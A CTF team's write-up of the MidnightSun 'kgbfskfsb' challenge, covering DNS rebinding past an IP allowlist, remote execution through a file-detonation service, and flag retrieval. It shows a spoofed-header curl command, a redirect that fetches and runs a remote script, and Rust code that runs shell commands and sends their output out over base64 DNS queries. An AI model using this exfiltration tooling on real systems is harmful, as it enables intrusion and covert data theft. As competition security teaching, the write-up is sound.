MidnightSun Quals: kgbfskfsb

Share on:

Overview

kgbfskfsb, MidnightSun CTF writeup

Writeup by: Nigma, nrabulinski

Solved by: sebastianpc, Eldar Zeynalli (Hako), nrabulinski, Nigma

Description:

DeNiS Sergeev wants a secret mission payload…

Attachments:

kgbfskfsb.tar.gz

The challenge description pretty clearly hints towards DNS stuff and sure enough, after looking through the files in the attachment, we see the following lines in target.go (Error handling removed for clarity):

func scan_url(w http.ResponseWriter, r *http.Request) {
	ipAddress := r.Header.Get("X-Forwarded-For")
	if ipAddress != "95.173.136.70" && ipAddress != "95.173.136.71" && ipAddress != "95.173.136.72" {
		fmt.Println("the proxy needs to come from inside the house")
		return
	}
	
	// ...
	
	url_arg := r.URL.Query().Get("url")
	u, err := url.Parse(url_arg)
	ips, err := net.LookupIP(u.Host)
	_, fsb1, _ := net.ParseCIDR("213.24.76.0/24")
	_, fsb2, _ := net.ParseCIDR("213.24.77.0/24")
	proceed := false
	for _, ip := range ips {
		if fsb1.Contains(ip) || fsb2.Contains(ip) {
			proceed = true
			break
		}
	}
	if !proceed {
		fmt.Println("Unauthorized mission file")
		return
	}
	dk := pbkdf2.Key([]byte(url_arg), []byte("volodya"), 2*1000*1000, 32, sha1.New)
	fmt.Println("DK", dk)
	client := &http.Client{}
	req, err := http.NewRequest("GET", url_arg, nil)
	
	// ...
}

Which means the server checks that the IP of the URL we send is in one of the two subnets (either 213.24.76.0/24, or 213.24.77.0/24) and makes a request to it.

The line that starts with pbkdf2.Key, although doesn’t change anything for us, is all the more evidence, that we need to create a race condition, where we change the IP the domain points to after the lookup but before the request itself happens.

This kind of attack is called a DNS Rebinding attack.

Looking at detonator, we see a quite simple function

func detonate(w http.ResponseWriter, r *http.Request) {
	fn_arg := r.URL.Query().Get("name")
	reg, err := regexp.Compile("[^a-zA-Z0-9]+")
	if err != nil {
		return
	}
	fn := reg.ReplaceAllString(fn_arg, "")

	c := exec.Command("/detonations/" + fn)
	_ = c.Run()
}

All it does is execute a program meaning, that after we exploit the server with DNS rebinding, we’ll most likely need to upload a payload, which will send the flag to us.

DNS rebinding

Time to get your domains out boys, and by that i mean, we had to buy a new domain, as our normal domain provider didn’t support us making glue records.

After buying kalmarunionen.xyz, a teammate luckily had a python program lying around from an old dns rebinding challenge. This would allow us to act as a nameserver, and change IP of the domain back and forth after every request.

The program also had a built in flask server, which would redirect to some url, and served a payload on /doit.sh, which was incredibly helpful.

We had it redirect to http://localhost:15555/detonate?url=http://95.216.154.221/doit.sh&name={randstr()}, as target.go also had a detonate endpoint:

func detonate(w http.ResponseWriter, r *http.Request) {
	// ...

	if ip != "127.0.0.1" {
		fmt.Println("wrong ip")
		return
	}
	client := &http.Client{}
	req, err := http.NewRequest("GET", url_arg, nil)
	if err != nil {
		fmt.Println(err)
		return
	}
	resp, err := client.Do(req)
	if err != nil {
		fmt.Printf("%s", err)
		return
	}
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Printf("%s", err)
		return
	}
	ioutil.WriteFile("/detonations/"+fn, body, 0755)
	//send to detonator
	client = &http.Client{}
	req, err = http.NewRequest("GET", "http://detonator:9000/detonate?name="+fn, nil)
	if err != nil {
		fmt.Println(err)
		return
	}
	
	// ...
}

So it checks that the request comes from localhost, writes our payload to /detonations and the detonate server executes it.

Now running curl "http://kgb-01.hfsc.tf:15555/scan?url=http://kalmarunionen.xyz" -H "X-Forwarded-For: 95.173.136.70", would run our doit.sh file 50% of the time.
(The X-Forwarded-For header comes from the first few lines in scan_url)

Flag?

No.

We need some way to exfiltrate data. First we tried some basic things, curl our site, pinging us, reverse shells, nothing seemed to work, until we slept.

Literally, running sleep 10 had it slept for 10 seconds before returning. So we had working RCE on a box which had basically no tools. We looked a bit around at different docker images to see if one of them had a tool we could use, as maybe the box was based on one of them.

Then it hit us, we can upload stuff.

We can upload tools! We uploaded curl (statically compiled), and that worked, sort of. We got hit by a dns query, but no http, which meant the box probably had most egress traffic blocked, except dns. (Which is pretty common in the cloud setting)

Now we just had to get flag.txt, extract it via making a request to <base64 encoded content>.kalmarunionen.xyz, and bang, flag and first blood!

We wrote a program to recursively go through all directories, look for files with flag in their name, and send their contents via DNS queries.

We waited…

and waited…

and waited, until the binary had finished executing, and saw nothing.

Poking around the box

So instead, we wrote a small script which would execute shell code passed to it and send all the output back to us through DNS queries1.

We also uploaded a busybox binary, to have a bunch of tools. With this we started looking around files.

bin
boot
detonations
dev
etc
home
lib
lib32
lib64
libx32
media
midnightsun.ctf.kgbfskfsb_detonator
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

This was /.

home was empty, and grep -r midnight didn’t return anything, BUT ls -a found two more files.

.do
.dockerenv

Later with ls -la we found that .dockerenv was empty, so nothing there. We assumed that .do was DigitalOcean, a sponsor of this ctf, but what we found was terrifying.

Captcha

.do had a directory called see. After going through all the nested directories we found a binary at the path: /.do/you/see/the/answer/runme.

Cool, so we run that and get flag, right? No.

Running it with our wrapper1 gave us -297684277 +1, a god damn captcha before flag :-(. We wrote a script to run this binary, and try to input stuff, but we got no output when we didn’t just instantly close stdin.

So we started debugging with print statements, or well, dns_lookup::lookup_host statements. It seemed so close but still so far away. How were we supposed to read stdout, and then use that to answer, when stdout wasn’t being flushed before locking stdin??

Going to sleep

After 3-4 hours of trying to get the flag from runme and seemingly getting nowhere, most of us went to bed.

Next day, we had ~2 hours before the CTF ended, so it was flag time. We tried a few different things, reverse shell on UDP 53, hijacking the binary with LD_PRELOAD, even more rust debugging. More team-members joined us to try to get a last flag before the CTF was over.

Flag.

With 10 min left, we tried wrapping the entire thing in script for a fake TTY, and one of our final debug statements were hit.

We saw got-flag-maybe.kalmarunionen.xyz query, and after decoding base64 encoded queries 5 minutes before the event has ended, there it was:
midnight{DNS_Dennis_ThanksyouForYourService}

After submitting the flag at the very last minute we jumped from 6th to 3rd place in the leaderboard.

Final solve script:

use std::io::{prelude::*, BufReader};
use std::process::Stdio;

fn main() {
    let mut child = std::process::Command::new("script")
        .args(&["-qec", "/.do/you/see/the/answer/runme", "/dev/null"])
        .stdout(Stdio::piped())
        .stdin(Stdio::piped())
        .spawn()
        .unwrap();

    dns_lookup::lookup_host("spawned-child.DOMAIN.TLD").unwrap();
    let mut stdin = child.stdin.take().unwrap();

    let mut out = BufReader::new(child.stdout.take().unwrap());

    let mut line = Vec::new();

    out.read_until(b' ', &mut line).unwrap();

    dns_lookup::lookup_host("got-the-equation.DOMAIN.TLD").unwrap();

    let s = String::from_utf8_lossy(&line);
    let a = s.trim();
    let a: i64 = a.parse().unwrap();

    dns_lookup::lookup_host(&format!("number-{}.DOMAIN.TLD", a)).unwrap();
    
    stdin.write_all(format!("{}\n", a + 1).as_bytes()).unwrap();

    drop(stdin);

    dns_lookup::lookup_host("answered.kalmarunionen.xyz").unwrap();

    out.read_to_end(&mut line).unwrap();

    println!("{}", String::from_utf8_lossy(&line));

    dns_lookup::lookup_host("got-flag-maybe.DOMAIN.TLD").unwrap();

    let output = child.wait_with_output().unwrap();

    println!("{}", String::from_utf8_lossy(&output.stdout));
}

  1. Our helper binary for executing shell commands and sending their output over DNS:

    #![feature(iter_intersperse)]
    use std::path::PathBuf;
    
    fn main() {
        let cmd = std::env::args().nth(1).unwrap();
    
        let output = std::process::Command::new("sh")
            .arg("-c")
            .arg(&cmd)
            .output()
            .unwrap();
    
        let c = base64::encode_config(&String::from_utf8_lossy(&output.stdout).to_string(), base64::URL_SAFE_NO_PAD);
        let c: String = c.as_bytes().chunks(50).intersperse(b".").flat_map(|chunk| chunk.into_iter().map(|&c| c as char)).collect();
        let c = c.as_bytes().chunks(150).map(|chunk| String::from_utf8_lossy(chunk));
        for c in c {
            let c = c.trim_matches('.');
            let url = format!("__stdout_{c}.DOMAIN.TLD");
            dns_lookup::lookup_host(&url).unwrap();
        }
    
        let c = base64::encode_config(&String::from_utf8_lossy(&output.stderr).to_string(), base64::URL_SAFE_NO_PAD);
        let c: String = c.as_bytes().chunks(50).intersperse(b".").flat_map(|chunk| chunk.into_iter().map(|&c| c as char)).collect();
        let c = c.as_bytes().chunks(150).map(|chunk| String::from_utf8_lossy(chunk));
        for c in c {
            let c = c.trim_matches('.');
            let url = format!("__stderr_{c}.DOMAIN.TLD");
            dns_lookup::lookup_host(&url).unwrap();
        }
    }
    
     ↩︎ ↩︎